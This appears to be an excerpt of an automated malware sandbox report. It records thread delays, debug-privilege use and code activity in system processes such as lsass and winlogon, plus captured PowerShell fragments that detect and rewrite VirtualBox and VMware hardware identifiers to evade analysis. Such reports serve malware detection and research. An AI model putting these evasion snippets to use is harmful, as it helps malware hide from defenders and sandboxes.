Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2504	Thread sleep count: 5991 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1960	Thread sleep count: 3829 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5384	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 3292	Thread sleep count: 8510 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 3292	Thread sleep time: -8510000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 3292	Thread sleep count: 1488 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 3292	Thread sleep time: -1488000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 6220	Thread sleep count: 9928 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 6220	Thread sleep time: -9928000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2884	Thread sleep count: 7178 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6448	Thread sleep count: 2346 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2680	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5616	Thread sleep count: 247 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5616	Thread sleep time: -247000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 2944	Thread sleep count: 9874 > 30	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 2944	Thread sleep time: -9874000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dialer.exe TID: 6132	Thread sleep count: 1803 > 30
Source: C:\Windows\System32\dialer.exe TID: 6132	Thread sleep time: -180300s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1976	Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 1976	Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 432	Thread sleep count: 255 > 30
Source: C:\Windows\System32\svchost.exe TID: 432	Thread sleep time: -255000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4068	Thread sleep count: 255 > 30
Source: C:\Windows\System32\svchost.exe TID: 4068	Thread sleep time: -255000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2608	Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 2608	Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6480	Thread sleep count: 201 > 30
Source: C:\Windows\System32\svchost.exe TID: 6480	Thread sleep time: -201000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2752	Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 2752	Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1412	Thread sleep count: 239 > 30
Source: C:\Windows\System32\svchost.exe TID: 1412	Thread sleep time: -239000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6432	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 6432	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6048	Thread sleep count: 241 > 30
Source: C:\Windows\System32\svchost.exe TID: 6048	Thread sleep time: -241000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1960	Thread sleep count: 255 > 30
Source: C:\Windows\System32\svchost.exe TID: 1960	Thread sleep time: -255000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5588	Thread sleep count: 236 > 30
Source: C:\Windows\System32\svchost.exe TID: 5588	Thread sleep time: -236000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3920	Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 3920	Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5812	Thread sleep count: 255 > 30
Source: C:\Windows\System32\svchost.exe TID: 5812	Thread sleep time: -255000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2716	Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 2716	Thread sleep time: -254000s >= -30000s

Source: C:\Windows\System32\dialer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E85898DCE0 FindFirstFileExW,	21_2_000001E85898DCE0
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE86DCE0 FindFirstFileExW,	27_2_00000140AE86DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5CDCE0 FindFirstFileExW,	30_2_00000195DD5CDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA1DCE0 FindFirstFileExW,	31_2_000001160CA1DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10ADCE0 FindFirstFileExW,	46_2_00000257E10ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C93DCE0 FindFirstFileExW,	47_2_000001F28C93DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA9854DCE0 FindFirstFileExW,	48_2_000001CA9854DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D26531DCE0 FindFirstFileExW,	49_2_000001D26531DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27DDCE0 FindFirstFileExW,	50_2_00000254A27DDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_0000024B87DDDCE0 FindFirstFileExW,	51_2_0000024B87DDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FD40DCE0 FindFirstFileExW,	52_2_00000205FD40DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001A2056ADCE0 FindFirstFileExW,	53_2_000001A2056ADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F6DCE0 FindFirstFileExW,	54_2_0000018EC1F6DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3E0DCE0 FindFirstFileExW,	55_2_0000025CE3E0DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000002623898DCE0 FindFirstFileExW,	56_2_000002623898DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_000002786E59DCE0 FindFirstFileExW,	57_2_000002786E59DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_000001611FFADCE0 FindFirstFileExW,	58_2_000001611FFADCE0
Source: C:\Windows\System32\svchost.exe	Code function: 59_2_0000027C0F38DCE0 FindFirstFileExW,	59_2_0000027C0F38DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.52.dr	Binary or memory string: VMware Virtual disk 2.0 6000c292b65879ff477a6af604113f58PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: Microsoft-Windows-Partition%4Diagnostic.evtx.52.dr	Binary or memory string: VMwareVirtual disk2.06000c292b65879ff477a6af604113f58PCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: svchost.exe, 00000034.00000000.2178476361.00000205FAC2B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.3376207799.00000205FAC2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @Microsoft-Windows-Hyper-V-Hypervisor
Source: lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: svchost.exe, 00000034.00000000.2178508976.00000205FAC43000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmci
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 00000032.00000002.3392383683.00000254A2FDA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: NECVMWarVMware SATA CD00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D180000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000034.00000000.2183063878.00000205FBA00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: dwm.exe, 0000001F.00000002.3403437969.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: PointVMware&P
Source: dwm.exe, 0000001F.00000002.3403437969.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000=
Source: Microsoft-Windows-Partition%4Diagnostic.evtx.52.dr	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: svchost.exe, 00000034.00000000.2183063878.00000205FBA00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.52.dr	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: Microsoft-Windows-PowerShell%4Operational.evtx.52.dr	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c292b65879ff477a6af604113f58
Source: lsass.exe, 0000001B.00000000.2121920051.00000140AD813000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000001B.00000002.3371581658.00000140AD813000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.3369748191.00000195DD613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001E.00000000.2125470026.00000195DD613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002F.00000000.2152084537.000001F28C22B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3369193733.000001F28C22B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000030.00000000.2153856421.000001CA9782A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000030.00000002.3365054006.000001CA9782A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000000.2164109329.00000254A2043000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000032.00000002.3372629205.00000254A2043000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000034.00000000.2178476361.00000205FAC2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: dwm.exe, 0000001F.00000002.3403437969.0000011607ED0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: System.evtx.52.dr	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: svchost.exe, 00000034.00000000.2178331436.00000205FABB0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c292b65879ff477a6af604113f58
Source: Microsoft-Windows-PowerShell%4Operational.evtx.52.dr	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: svchost.exe, 00000034.00000000.2183063878.00000205FBA00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c292b65879ff477a6af604113f588
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: svchost.exe, 00000034.00000000.2183063878.00000205FBA00000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: svchost.exe, 00000034.00000003.2239849466.00000205FB933000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmcir:m
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: Microsoft-Windows-PowerShell%4Operational.evtx.52.dr	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: svchost.exe, 00000034.00000002.3401813667.00000205FBFA5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 7-4vmci
Source: svchost.exe, 0000001E.00000000.2125611374.00000195DD66A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000030.00000002.3364015684.000001CA97800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 0000001B.00000000.2122141328.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: VMware
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.52.dr	Binary or memory string: nonicVMware Virtual disk 6000c292b65879ff477a6af604113f58
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D129000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW j
Source: Microsoft-Windows-PowerShell%4Operational.evtx.52.dr	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: Microsoft-Windows-PowerShell%4Operational.evtx.52.dr	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: Microsoft-Windows-PowerShell%4Operational.evtx.52.dr	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))

Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_14-413
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

Code function: 21_2_000001E858987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

21_2_000001E858987D90

Source: C:\Windows\System32\dialer.exe

Code function: 45_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

45_2_00000001408460F0

Source: C:\Windows\System32\dialer.exe

Code function: 14_2_00000001400017EC GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

14_2_00000001400017EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00007FF749F41160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	0_2_00007FF749F41160
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E858987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_000001E858987D90
Source: C:\Windows\System32\winlogon.exe	Code function: 21_2_000001E85898D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_000001E85898D2A4
Source: C:\ProgramData\IGaming\driver.exe	Code function: 26_2_00007FF7F4F21160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	26_2_00007FF7F4F21160
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE867D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_00000140AE867D90
Source: C:\Windows\System32\lsass.exe	Code function: 27_2_00000140AE86D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_00000140AE86D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_00000195DD5CD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_00000195DD5C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_00000195DD5C7D90
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA1D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000001160CA1D2A4
Source: C:\Windows\System32\dwm.exe	Code function: 31_2_000001160CA17D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000001160CA17D90
Source: C:\Windows\System32\dialer.exe	Code function: 44_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	44_2_0000000140001160
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	46_2_00000257E10AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 46_2_00000257E10A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	46_2_00000257E10A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C937D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	47_2_000001F28C937D90
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001F28C93D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	47_2_000001F28C93D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA9854D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	48_2_000001CA9854D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_000001CA98547D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	48_2_000001CA98547D90
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D265317D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_000001D265317D90
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001D26531D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_000001D26531D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27DD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_00000254A27DD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_00000254A27D7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_00000254A27D7D90
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_0000024B87DDD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	51_2_0000024B87DDD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_0000024B87DD7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	51_2_0000024B87DD7D90
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FD40D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	52_2_00000205FD40D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000205FD407D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	52_2_00000205FD407D90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001A2056AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_000001A2056AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001A2056A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_000001A2056A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F67D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_0000018EC1F67D90
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000018EC1F6D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_0000018EC1F6D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_0000025CE3E0D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_0000025CE3E0D2A4
